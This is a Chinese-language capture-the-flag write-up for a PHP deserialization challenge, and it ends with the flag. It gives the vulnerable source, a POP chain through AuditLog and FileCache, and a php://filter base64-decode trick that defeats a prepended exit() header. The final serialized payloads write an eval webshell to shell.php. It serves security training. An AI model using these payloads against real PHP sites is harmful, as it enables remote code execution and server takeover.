题目
此题目来源于投稿
PHP Web 应用里的 FileCache 类被反序列化触发写文件时,非要在内容开头加句exit;搞破坏,导致代码没法执行,快想办法躲开这个 “拦路虎”
<?phperror_reporting(0);highlight_file(__FILE__);classAuditLog{public$handler;publicfunction__construct(){$this->handler=newSystemStatus();}publicfunction__toString(){return$this->handler->process();}}classFileCache{public$filePath;public$content;publicfunction__construct($path='',$data=''){$this->filePath=$path;$this->content=$data;}publicfunctionprocess(){$security_header='<?php exit("Access Denied: Protected Cache"); ?>';$final_data=$security_header.$this->content;file_put_contents($this->filePath,$final_data);return"Cache Saved.";}}classSystemStatus{publicfunctionprocess(){if(file_exists('./system_config.php')){include('./system_config.php');}return"System logic normal.";}}$payload=$_POST['data'];if(isset($payload)){echounserialize($payload);}else{echo"Invalid data stream.";}?>Invalid data stream.解题过程
POP 链初步测试:触发默认返回值
触发 SystemStatus::process () 返回
构造序列化 payload,使 AuditLog 的 handler 指向 SystemStatus 对象。
<?phpclassAuditLog{public $handler;}classSystemStatus{}$obj=new AuditLog();$obj->handler=new SystemStatus();echo serialize($obj);?>生成 Payload:
O:8:"AuditLog":1:{s:7:"handler";O:12:"SystemStatus":0:{}}POST 提交data参数,页面输出:System logic normal.
触发 FileCache::process () 返回
构造序列化 payload,使 AuditLog 的 handler 指向 FileCache 对象。
<?phpclassAuditLog{public $handler;}classFileCache{public $filePath;public $content;}$obj=new AuditLog();$obj->handler=new FileCache();//随便赋值,不影响return$obj->handler->filePath="test.php";$obj->handler->content="test";echo serialize($obj);?>生成 Payload:
O:8:"AuditLog":1:{s:7:"handler";O:9:"FileCache":2:{s:8:"filePath";s:8:"test.php";s:7:"content";s:4:"test";}}POST 提交后输出:Cache Saved.
绕过死亡头部:php://filter + Base64 写入
直接写入 PHP 代码会被前置的<?php exit();?>拦截,使用 Base64 解码流绕过。
写入 phpinfo 测试
<?phpclassAuditLog{public $handler;}classFileCache{public $filePath;public $content;}$obj=new AuditLog();$obj->handler=new FileCache();//核心:使用 php://filter流写入 $obj->handler->filePath="php://filter/write=convert.base64-decode/resource=shell.php";//写入纯base64编码的phpinfo(<?php phpinfo();$obj->handler->content="PD9waHAgcGhwaW5mbygpOz8+";echo serialize($obj);?>- 写入 phpinfo 测试
O:8:"AuditLog":1:{s:7:"handler";O:9:"FileCache":2:{s:8:"filePath";s:59:"php://filter/write=convert.base64-decode/resource=shell.php";s:7:"content";s:24:"PD9waHAgcGhwaW5mbygpOz8+";}}直接访问shell.php出现乱码,原因:前置死亡代码污染 Base64 解码。
解决乱码问题
<?phpclassAuditLog{public $handler;}classFileCache{public $filePath;public $content;}$obj=new AuditLog();$obj->handler=new FileCache();//核心:使用 php://filter流写入 $obj->handler->filePath="php://filter/write=convert.base64-decode/resource=shell.php";//写入纯base64编码的phpinfo(<?php phpinfo();$obj->handler->content="AAAPD9waHAgcGhwaW5mbygpOz8+";echo serialize($obj);?>O:8:"AuditLog":1:{s:7:"handler";O:9:"FileCache":2:{s:8:"filePath";s:59:"php://filter/write=convert.base64-decode/resource=shell.php";s:7:"content";s:27:"AAAPD9waHAgcGhwaW5mbygpOz8+";}}终极解决:Base64 长度对齐(解决乱码)
前置字符串长度不满足 Base64 对齐规则,补充字符修正长度,实现纯净写入。
一句话木马编码
<?php @eval($_POST[cmd]);?>Base64 编码:
PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOyA/Pg==构造最终 Payload
<?phpclassAuditLog{public $handler;}classFileCache{public $filePath;public $content;}$obj=new AuditLog();$obj->handler=new FileCache();//核心:使用 php://filter流写入 $obj->handler->filePath="php://filter/write=convert.base64-decode/resource=shell.php";//写入纯base64编码的phpinfo(<?php phpinfo();$obj->handler->content="AAAPD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOyA/Pg==";echo serialize($obj);?>最终 Payload:
O:8:"AuditLog":1:{s:7:"handler";O:9:"FileCache":2:{s:8:"filePath";s:59:"php://filter/write=convert.base64-decode/resource=shell.php";s:7:"content";s:43:"AAAPD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOyA/Pg==";}}POST 提交data参数,页面输出:Cache Saved.
连接 Webshell 获得 Flag
答案
qsnctf{177cc428697e461da33a0e8861759e94}